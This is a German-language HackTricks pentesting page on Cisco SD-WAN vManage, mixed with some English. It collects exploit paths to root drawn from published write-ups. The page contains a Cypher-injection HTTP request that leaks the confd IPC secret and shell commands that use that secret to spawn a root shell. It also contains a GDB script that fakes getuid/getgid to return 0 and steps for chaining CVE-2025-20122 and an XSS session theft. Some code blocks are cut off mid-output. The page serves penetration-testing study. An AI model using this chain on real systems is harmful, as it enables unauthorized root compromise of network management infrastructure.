Cisco - vmanage
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Pfad 1
(Beispiel von https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)
Nach etwas Recherche in einigen documentation, die sich auf confd und die verschiedenen Binärdateien beziehen (zugänglich mit einem Konto auf der Cisco-Website), stellten wir fest, dass zur Authentifizierung des IPC-Sockets ein Geheimnis verwendet wird, das in /etc/confd/confd_ipc_secret liegt:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Erinnerst du dich an unsere Neo4j-Instanz? Sie läuft mit den Rechten des Benutzers vmanage, was es uns erlaubt, die Datei mithilfe der vorherigen Schwachstelle abzurufen:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
Das Programm confd_cli unterstützt keine Kommandozeilenargumente, ruft jedoch /usr/bin/confd_cli_user mit Argumenten auf. Wir könnten also /usr/bin/confd_cli_user direkt mit eigenen Argumenten aufrufen. Es ist jedoch mit unseren aktuellen Rechten nicht lesbar, daher müssen wir es aus dem rootfs holen und per scp kopieren, die Hilfe lesen und es verwenden, um eine Shell zu bekommen:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Pfad 2
(Beispiel aus https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)
Der Blog¹ des synacktiv-Teams beschrieb eine elegante Methode, eine root shell zu bekommen, allerdings erfordert sie eine Kopie von /usr/bin/confd_cli_user, die nur von root gelesen werden kann. Ich fand einen anderen Weg, um ohne solchen Aufwand to escalate to root.
Als ich die Binärdatei /usr/bin/confd_cli disassemblierte, beobachtete ich Folgendes:
Objdump zeigt das Erfassen von UID/GID
```asm vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80Als ich „ps aux“ ausführte, beobachtete ich Folgendes (note -g 100 -u 107)
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
Ich vermutete, dass das Programm “confd_cli” die vom angemeldeten Benutzer ermittelte User-ID und Gruppen-ID an die Anwendung “cmdptywrapper” weitergibt.
Mein erster Versuch war, “cmdptywrapper” direkt auszuführen und ihm -g 0 -u 0 zu übergeben, aber das schlug fehl. Offenbar wurde unterwegs ein Dateideskriptor (-i 1015) erstellt, den ich nicht fälschen kann.
Wie im Blog von synacktiv erwähnt (letztes Beispiel) unterstützt das Programm confd_cli keine Kommandozeilenargumente, aber ich kann es mit einem Debugger beeinflussen, und glücklicherweise ist GDB auf dem System vorhanden.
Ich habe ein GDB-Skript erstellt, in dem ich die APIs getuid und getgid dazu zwinge, 0 zurückzugeben. Da ich durch die deserialization RCE bereits die “vmanage”-Berechtigung habe, darf ich direkt /etc/confd/confd_ipc_secret lesen.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Konsolenausgabe:
Konsolenausgabe
```text vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or laterPath 3 (2025 CLI input validation bug)
Cisco renamed vManage to Catalyst SD-WAN Manager, but the underlying CLI still runs on the same box. Eine Advisory von 2025 (CVE-2025-20122) beschreibt eine unzureichende Eingabevalidierung in der CLI, die es jedem authentifizierten lokalen Benutzer erlaubt, durch das Senden einer speziell gestalteten Anfrage an den Manager-CLI-Dienst root zu erlangen. Kombiniere jeden low-priv foothold (z. B. die Neo4j-Deserialisierung aus Path1 oder eine cron/backup-Benutzershell) mit diesem Fehler, um ohne Kopieren von confd_cli_user oder Anfügen von GDB auf root zu springen:
- Verwende deine low-priv Shell, um den CLI-IPC-Endpunkt zu finden (typischerweise der
cmdptywrapper-Listener, der in Path2 auf Port 4565 angezeigt wird). - Erstelle eine CLI-Anfrage, die UID/GID-Felder auf 0 fälscht. Der Validierungsfehler erzwingt die UID des ursprünglichen Aufrufers nicht, sodass der Wrapper ein root-gestütztes PTY startet.
- Leite eine beliebige Befehlsfolge (
vshell; id) durch die gefälschte Anfrage, um eine root-Shell zu erhalten.
Die Angriffsfläche ist lokal; remote code execution ist weiterhin erforderlich, um die anfängliche Shell zu erlangen, aber einmal auf der Maschine ist die Ausnutzung eine einzelne IPC-Nachricht statt eines debugger-basierten UID-Patches.
Other recent vManage/Catalyst SD-WAN Manager vulns to chain
- Authenticated UI XSS (CVE-2024-20475) – Inject JavaScript in specific interface fields; das Stehlen einer Admin-Session gibt dir einen browser-gesteuerten Weg zu
vshell→ lokale Shell → Path3 für root.
References
- Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability (CVE-2025-20122)
- Cisco Catalyst SD-WAN Manager Cross-Site Scripting Vulnerability (CVE-2024-20475)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


